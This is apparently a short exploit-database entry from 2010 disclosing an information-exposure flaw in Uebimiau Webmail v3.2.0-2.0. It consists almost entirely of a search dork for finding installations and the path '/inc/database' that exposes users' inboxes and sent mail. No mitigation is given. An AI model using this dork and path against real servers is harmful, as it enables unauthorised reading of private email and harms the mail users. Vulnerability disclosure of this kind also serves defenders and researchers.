21 lines
No EOL
778 B
Text
21 lines
No EOL
778 B
Text
# Exploit Title: Uebimiau Webmail v3.2.0-2.0 | Email Disclosure
|
|
# Date: 09 March 2010
|
|
# Author: Z3r0c0re, R4vax
|
|
# Software Link: http://www.uebimiau.org/download.php
|
|
# Version: 3.2.0-2.0
|
|
# Tested on: php
|
|
# Code :
|
|
*********************************************************
|
|
* Uebimiau Webmail Email Disclosure *
|
|
*********************************************************
|
|
* D0rk: *
|
|
* "Uebimiau Webmail v3.2.0-2.0" *
|
|
*********************************************************
|
|
* Vuln: *
|
|
* http://[host]/[path]/inc/database *
|
|
*********************************************************
|
|
* Desc: *
|
|
* accessing these directores lets you view the users- *
|
|
* inboxes and sent emails and any other folders the- *
|
|
* user may have. *
|
|
********************************************************* |